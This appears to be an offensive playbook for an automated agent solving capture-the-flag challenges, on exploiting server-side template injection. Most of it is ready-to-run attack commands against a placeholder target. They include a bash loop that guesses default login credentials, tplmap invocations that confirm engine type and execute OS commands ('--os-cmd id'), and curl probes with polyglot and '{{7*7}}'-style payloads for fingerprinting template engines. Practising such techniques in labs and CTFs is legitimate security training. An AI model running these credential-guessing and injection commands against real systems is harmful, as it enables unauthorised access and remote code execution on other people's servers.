ssti-exploitation

Server-Side Template Injection (SSTI)

Exploits template engines that render user input, achieving RCE by injecting template directives.

Default Credentials Fast-Path (when default_credentials is a co-tag)

When default_credentials appears alongside ssti in the challenge tags, attempt login FIRST before any template injection probing:

# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
  user="${creds%%:*}"; pass="${creds##*:}"
  resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
    -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
  code=$(echo "$resp" | tail -1)
  [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done

A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.

Automated First Pass — tplmap

When run_container_tool exposes tplmap, run one bounded automated pass before deep manual payload iteration. It is most useful after you know the candidate URL/parameter or authenticated endpoint:

tplmap -u 'http://<TARGET>/page?name=test'
tplmap -u 'http://<TARGET>/render' -d 'template=test&name=test'
tplmap -u 'http://<TARGET>/page?name=test' --os-cmd 'id'

If tplmap fingerprints the engine or confirms code execution, use that result to read the flag path or pivot into the engine-specific section below. If it is negative on one field, continue with manual probes across all rendering surfaces; a negative single-parameter tplmap run does not rule out stored SSTI.

Detection — Universal Probes

# Polyglot detection string
curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt

# Math-based detection
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49'        # Jinja2/Twig
curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49'         # Freemarker/EL
curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49'         # Ruby ERB/Thymeleaf
curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat)